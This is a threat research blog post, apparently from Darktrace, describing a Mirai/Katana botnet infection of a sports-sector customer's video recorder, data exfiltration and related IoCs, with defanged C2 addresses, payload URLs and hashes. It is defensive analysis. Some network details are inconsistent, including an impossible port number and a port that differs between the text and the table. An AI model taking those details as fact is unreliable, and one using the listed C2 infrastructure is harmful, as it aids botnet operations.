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Key takeaways

  • Darktrace identified a camera device infected with the Mirai/Katana botnet in a sports-sector customer environment, showing how exposed IoT devices can become active participants in wider attack chains.
  • The compromise involved suspicious Wget behavior, file downloads from rare external IPs, unusual incoming HTTP connections to video recorder management interfaces, and large outbound data transfers to infrastructure associated with botnet activity.
  • The incident highlights the importance of extending visibility and response beyond traditional endpoints, as unmanaged or overlooked connected devices can be exploited for command-and-control, malware delivery, and data exfiltration.

Mirai and the Katana variant

Mirai is a botnet that first emerged in August 2016 and is well known for launching large-scale distributed-denial-of-service (DDoS) attacks, typically targeting exposed Internet of Things (IoT) devices. It identifies vulnerable IoT devices ,often by abusing default credentials or exposed services, and recruiting them into a remotely controlled botnet that can be used in DDoS campaigns [1].

Katana, one of the many variants that arose after Mirai’s source code was released publicly, was first observed in late 2020 and has been seen using more advanced capabilities, including custom command-and-control (C2), persistence mechanisms, and DDoS functionality [2].

In March 2026, research from the Nokia Deepfield Emergency Response Team (ERT) identified Katana as a Mirai-derived DDoS botnet targeting Android-based TV set-top boxes through exposed Android Debug Bridge (ADB) access.  Observed capabilities included custom C2, runtime domain rotation, multiple DDoS methods, and an on-device compiled kernel rootkit used for persistence and stealth [3].

Darktrace’s detection of Mirai Botnet activity on a camera device

In early 2026, Darktrace identified a Network/Digital Video Recorder (NVR/DVR) on the network of a sports-sector customer that had been infected with the Mirai Katana botnet and subsequently used to exfiltrate data from the customer’s environment. Seemingly related follow-up activity was observed on the same device several months later.

In both instances, the Darktrace Security Operations Centre (SOC) alerted the customer as part of the Managed Threat Detection (MTD) service. However, as Darktrace’s Autonomous Response capability was not fully enabled on the affected device, Darktrace was unable to proactively block the suspicious activity or prevent the compromise from continuing and recurring.

The initial compromise appears to have occurred when the affected device was seen using Wget to download Linux-based Executable and Linkable Format (ELF) files from a rare external IP, 195.177.94[.]105, which had not previously been observed in the customer’s network. Further analysis downloaded file hashes identified files related to the Mirai botnet.

Figure 1: Darktrace’s Real-Time AI Analyst investigation into the unusual outbound connection where the ELF files were downloaded.

Within a few hours, Darktrace detected the device uploading close to 3GB of data to another external IP, 50.7.49[.]4:3017 (ASN AS30058 FDCSERVERS), suggesting that the activity was likely routed via a virtual private server (VPS) hosted by FDC Servers [2]. Attackers often abuse VPS infrastructure from legitimate cloud providers to blend in with legitimate traffic and evade IP reputation and geolocation-based detections.

Figure 2:  Darktrace’s detection of the unusual data upload activity by the affected camera device.

Darktrace continued to observe similar data transfers to multiple rare endpoints  including 171.225.223[.]53, 95.161.128[.]62, 61.7.209[.]88, 95.161.128[.]62, which have been linked to Mirai by open-source intelligence (OSINT).

Figure 3: Darktrace’s detection of spikes in unusual external data transfer activity from the camera device.

Exploitation continued

Several months later, Darktrace identified the same exfiltration pattern on the device again, this time with stronger indications of associations with Mirai Katana botnet infection.

The device received incoming HTTP connections from 129.121.114[.]124, an external IP known to be associated with the Katana botnet IP [3]. The connections targeted the ‘/dvr/cmd’ path using the root username and user agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246.

The ‘/dvr/cmd’ path appears to be associated with the affected device’s web management functionality. This API endpoint has historically been targeted by Mirai and other IoT botnets through the exploitation of critical command injection vulnerabilities and automated botnet exploitation [4].

Figure 4: Darktrace’s  detection of HTTP connectivity from the external IP associated with Mirai Katana Botnet.

A few days later, Darktrace observed the Wget utility being used to download ELF files, including “/lil”,  from the IP 129.121.114[.]124. OSINT reporting has since associated this IP address with the Mirai Katana botnet. Notably, the IP observed earlier in the year, 195.177.94[.]105, had also hosted a file named “lil”, indicating a link between the observed activity.

Over the following days, the device received a sudden spike in connections from multiple rare external endpoints, suggesting a possible successful brute force attack. Darktrace also observed the device exfiltrating just under 4GB of data to another Mirai-associated IP address,  66.92.198[.]194, over ports 3344, 954922, and 80. Finally, the device was seen uploading data to the Mirai botnet IP 5.175.249[.]53 over port138 and exhibited an increase in UDP connections to 34.18.28[.]10 over port 9068.

Following both file download events, Darktrace identified spikes in external data transfers and connection attempts to rare destinations. While Darktrace’s Threat Research team could not confirm with high confidence that this to activity was directly associated with Mirai, it may indicate that Mirai Katana includes data exfiltration functionality.

Darktrace’s threat researchers also identified an internet-facing NTP server belonging to a separate customer receiving incoming connection attempts from the same initially observed IP, 195.177.94[.]105,over the port 123. This suggests that Mirai Katana may not exclusively target IoT devices.

Conclusion

This case demonstrates how threat actors can exploit overlooked IoT and OT devices to support broader malicious objectives. Here, a camera device infected with a botnet was used to exfiltrate data from the customer's environment, showing how peripheral assets can become active participants in an attack chain.

This case also reinforces a challenge many organizations face today: extending security visibility beyond traditional endpoints and servers. Cameras, sensors, and other connected devices often operate with limited monitoring and may fall outside established security processes, despite maintaining network connectivity and access to potentially sensitive environments. This is particularly relevant in the sports sector, where growing reliance on connected cameras, smart stadium technologies, and other IoT devices continues to expand the attack surface, as highlighted in Darktrace's Sports Sector Threat Report.

As botnets like Kata and Mirai continue to evolve, defenders need visibility across unmanaged IoT and edge devices, as well as security solutions that can recognize subtle deviations in device behavior that may indicate an emerging compromise.

Credit to Parvatha Ananthakannan (Cyber Analyst), Signe Zaharka (Principal Analyst)

Edited by Ryan Traill (Content Manager)

Appendices

Darktrace Model Detections

·      Anomalous File / EXE from Rare External Location

·      Anomalous File / Multiple EXE from Rare External Locations

·      Device / Initial Attack Chain Activity

·      Unusual Activity / Unusual External Data to New Endpoint

·      Anomalous Connection / Data Sent to Rare Domain

·      Unusual Activity / Enhanced Unusual External Data Transfer

·      Anomalous Connection / Uncommon 1 GiB Outbound

·      Device / Significant UDP Increase

·      Anomalous Connection / Low and Slow Exfiltration to IP

·      Compromise / Large Number of Suspicious Failed Connections

·      Compromise / Large Number of Suspicious Successful Connections

·      Unusual Activity / Unusual External Activity

·      Compliance / SSH to Rare External Destination

·      Unusual Activity / Unusual DNS

·      Device / External Network Scan

·      Device / Suspicious DNS Activity

·      Device / Large Number of Model Alerts

List of Indicators of Compromise (IoCs)

Indicator of Compromise Type Description
195.177.94[.]105 IP C2 endpoint
50.7.49[.]4:30171 IP Possible C2 endpoint
129.121.114[.]124 IP C2 endpoint
hxxp://195.177.94[.]105/n3 URL Likely C2 endpoint
hxxp://195.177.94[.]105/n2 URL Likely C2 endpoint
hxxp://129.121.114[.]124/lil URL Likely C2 endpoint
hxxp://129.121.114[.]124/HHn URL Possible C2 endpoint
hxxp://129.121.114[.]124/JFc URL Possible C2 endpoint
hxxp://129.121.114[.]124/jum URL Likely C2 endpoint
hxxp://129.121.114[.]124/OaSf URL Likely C2 endpoint
hxxp://129.121.114[.]124/OPWg URL Possible C2 endpoint
hxxp://129.121.114[.]124/vHwK URL Possible C2 endpoint
hxxp://129.121.114[.]124/VLv URL Possible C2 endpoint
hxxp://129.121.114[.]124/WbJ URL Possible C2 endpoint
hxxp://129.121.114[.]124/zkR URL Possible C2 endpoint
Ab17883ae4c3bc6afa18c439166eeeb4b03186e3093d984e3a95f573e0fcb7d8 SHA-256 Mirai payload
3d587e809dac49d34a3f717e072fd0aebe5e71db63333e45c81577d6b4266f87 SHA-256 Mirai payload
Bf6e81733a7e209d3dce80d15bf3c5d300752d961fae6b45d90c9bbe7f8c89a2 SHA-256 Possible payload
f25488303813ab1ec0eaa71562938601aac185e8aaf93adb84522557f7cf4dd6 SHA-256 Possible payload
0cb4ff6b71f4423184bfa35c34e9090297637208b0e30205d4b224e56abde2ef SHA-256 Possible payload
19c24cbeaf06b2e7697083f33a85521a9315105c784691bde7420fde4cc69410 SHA-256 Likely Mirai payload
1e74f734fff8df91f4f7172d0de10c421eca78aeb800e8a48e16bc5dbde5d20e SHA-256 Possible payload
6e71f7763d1f29d5712106ebb122e281c32787540aa2342b0fe5351d585d18d7 SHA-256 Possible payload
71f4ff7cdb6d6a7d2673c543c5d2535093afbd707b20a5b9ddf735466c1105c1 SHA-256 Possible payload
76db7ee73ebf15e48a3cb24a074d92248671ef2c6ed3bc3e708377341fb7674d SHA-256 Possible payload
da87a65f7beb438e61f0b61964fed8aa305a380f569042f84c55eca8fa7929b8 SHA-256 Possible payload
e15809eb6ba66477175270d62cfa53e4bf278595f69938708c81c4bc457930fe SHA-256 Mirai payload

MITRE ATT&CK Mapping

Tactic Technique ID Technique / Sub-technique
Initial Access T1659 Content Injection
T1189 Drive-by Compromise
Exfiltration T1041 Exfiltration Over C2 Channel
T1048.003 Exfiltration Over Unencrypted Non-C2 Protocol
Command and Control T1105 Ingress Tool Transfer
T1095 Non-Application Layer Protocol
T1571 Non-Standard Port
Reconnaissance T1595.001 Scanning IP Blocks
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About the author
Parvatha Ananthakannan
Cyber Analyst
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